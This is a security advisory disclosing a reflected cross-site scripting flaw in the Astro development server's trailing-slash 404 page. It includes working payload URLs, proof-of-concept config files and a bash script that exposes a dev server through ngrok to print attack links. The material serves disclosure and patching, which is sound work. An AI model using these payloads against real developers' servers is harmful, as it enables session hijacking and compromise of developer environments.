GHSA-w2vj-39qv-7vh7
Astro development server error page is vulnerable to reflected Cross-site Scripting
Details
## Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.
## Details
### Vulnerability Location
https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149
### Root Cause
The vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.
**Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text.
### Attack Vector
When a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.
## PoC
### Local Testing (localhost)
Basic vulnerability verification in local development environment
<details> <summary>Show details</summary>
`astro.config.mjs`: ```javascript import { defineConfig } from 'astro/config';
export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } }); ```
`package.json`: ```json { "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } } ```
Start the development server: ```bash npm install npm run dev ```
Access the following malicious URL depending on your configuration:
**For `trailingSlash: 'never'`** (requires trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!--/ ```
**For `trailingSlash: 'always'`** (no trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!-- ```
When accessing the malicious URL: 1. The development server returns a 404 page due to trailing slash mismatch 2. The JavaScript payload (`alert(document.domain)`) executes in the browser 3. An alert dialog appears, demonstrating arbitrary code execution
</details>
### Remote Testing (ngrok)
Reproduce realistic attack scenario via external malicious link
<details> <summary>Show details</summary>
Prerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken <key>`)
Setup and Execution: ```bash #!/bin/bash set -e
mkdir -p logs
npm i npm run dev > ./logs/victim.log 2>&1 &
ngrok http 3000 > ./logs/ngrok.log 2>&1 &
sleep 3
NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--" echo "" wait ```
When a remote user accesses either of the generated attack URLs: 1. The request is tunneled through ngrok to the local development server 2. The development server returns a 404 page due to trailing slash mismatch 3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser
Both URL patterns work depending on your `trailingSlash` configuration ('never' or 'always').
</details>
## Impact
This only affects the **development server**. Risk depends on how and where the dev server is exposed.
### Security impact
* **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser. * **Session hijacking**: Active developer sessions can be stolen if services are open in the browser. * **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies. * **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure.
### Attack scenarios
* **Social engineering**: Malicious link sent to a developer triggers the XSS when opened. * **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs. * **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7 [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-64745 [ADVISORY]
- https://github.com/withastro/astro/pull/12994 [WEB]
- https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91 [WEB]
- https://github.com/withastro/astro [PACKAGE]
- https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149 [WEB]